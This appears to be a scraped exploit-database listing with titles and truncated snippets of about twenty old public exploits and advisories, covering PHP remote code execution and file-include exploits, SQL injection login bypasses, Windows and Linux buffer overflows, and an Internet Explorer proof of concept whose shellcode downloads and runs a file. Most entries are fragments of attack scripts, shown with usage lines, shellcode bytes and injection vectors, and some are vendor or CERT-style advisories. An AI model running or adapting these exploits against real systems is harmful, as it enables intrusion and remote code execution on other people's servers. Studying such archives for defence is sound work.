Nitrotech 0.0.3a (includes/common.php) Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+:...

E Annu 1.0 Login Bypass SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================= E Annu 1.0 Login Bypass SQL Injection Exploit ============================================= E Annu 1.0 Login Bypass SQL Injection Exploit...

MiraksGalerie <= 2.62 (pcltar.lib.php) Remote File Include Exploit

No description provided by source. html head meta http-equiv="Content-Type" content="text/html; charset=windows-1254" titleMiraksGalerie = 2.62 Remote File Include Exploit/title script language="JavaScript"...

MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)

No description provided by source. / Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit MS04-020 Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED Posixexp.c By bkbll bkbll cnhonker net,bkbll tom com www cnhonker com 2004/07/16 thanks to eyas xfocus org C:\whoami VITUALWIN2K\tes...

LibXt XtAppInitialize() overflow *xterm exploit

No description provided by source. / cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang [email protected] / include unistd.h include stdio.h include stdlib.h include fcntl.h define CXTERMPATH "/usr/X11R6/bin/cxterm" define BUFFERSIZE 1024 defi...

MS Windows XP (explorer.exe) Buffer Overflow Exploit

No description provided by source. include fstream.h include string.h include stdio.h include windows.h include direct.h char shellcode= //download url and exec shellcode //doesn't have any hardcoded values //except the base address of the program //searches the import table for //LoadLibraryA,...

phpShop Core <= 0.9.0 RC1 (PS_BASE) File Include Vulnerabilities

Exploit for unknown platform in category web applications ================================================================ phpShop Core ====================================================== Exploit :...

PHP League 0.82 - 'classement.php' SQL Injection

exploit2.asp 'Note : If Wrong Id = "CTYPE html PUBLIC..... see" 'Using : Write Target and ID after Submit Click '=============================================================================================== % Php League v0.82 classement.php Remote SQL Injection Exploit function functionControl1...

Wireshark contains multiple off-by-one errors in the IPSec ESP preference parser

Overview Wireshark contains a vulnerability in the IPSec ESP preference parser that may cause a denial of service condition. Description Wireshark contains multiple off-by-one vulnerabilities in the IPSec ESP preference parser when the application has been compiled with ESP decryption support.Thi...

TIBCO RendezVous Buffer Overflow (Exploit)

No description provided by source. / Exploit: TIBCO RendezVous remote buffer overflow exploit for Win32 public version Affected products: Tibco RendezOVous version =7.4.11 Multiple Vulnerabilities Author: Andres Tarasco Acu a atarasco @ sia.es Advisory: http://www.514.es Url: http://www.sia.es...

Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (1)

source: https://www.securityfocus.com/bid/20655/info The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copying it to a buffer. An attacker could leverage this issue to...

CVE-2006-5430

CVE-2006-5430 is an XSS vulnerability affecting db-central (dbc) Enterprise CMS and db-central CMS, exploitable through the search needle parameter. The core issue is a reflected/script injection in the search functionality, enabling remote attackers to inject arbitrary script/HTML. The CVSS v2 v...

PH Pexplorer <= 0.24 (explorer_load_lang.php) Local Include Exploit

Exploit for unknown platform in category web applications =================================================================== PH Pexplorer = 0.24 explorerloadlang.php Local Include Exploit =================================================================== !/usr/bin/php -q -d shortopentag=on ?...

PHP-Post 1.01 - 'template' Remote Code Execution

!/usr/bin/php -q -d shortopentag=on ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...

Boonex Dolphin 5.2 - index.php Remote Code Execution

Boonex Dolphin 5.2 - index.php Remote Code Execution !/usr/bin/php //templates/tmpldfl/scripts/index.php?dirinc= w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path command\n Usage Example: php $argv0 domain.com /dolphin/ whoami\n"; function send$host, $put global $data; $conn =...

Debian DSA-1073-1 : mysql-dfsg-4.1 - several vulnerabilities

Several vulnerabilities have been discovered in MySQL, a popular SQL database. The Common Vulnerabilities and Exposures Project identifies the following problems : - CVE-2006-0903 Improper handling of SQL queries containing the NULL character allows local users to bypass logging mechanisms. -...

Apple QuickDraw Manager fails to properly handle malicious PICT images

Overview A vulnerability exists in how Apple OS X handles PICT images. If successfully exploited, this vulnerability may allow a remote attacker to execute arbitrary code, or create a denial-of-service condition. Description From Apple,Certain applications invoke an unsupported QuickDraw operatio...

BasiliX 1.1.1 (BSX_LIBDIR) Remote File Include Exploit

No description provided by source. ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+:+...

Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1)

!/usr/bin/perl Microsoft Internet Explorer WebViewFolderIcon setSlice D0wnLoad & Exec POC Author: Vampyroteuthis Infernalis Greetz: H D Moor, Dark Eagle, Jamikazu use strict; my $sco = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"...

Vbulletin 2.X sql injection

Hello,, Vbulletin 2.X sql injection Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] This is sql injection in vbulletin systems the injection is in the global.php file we can use it global.php?templatesused=/ the query will be...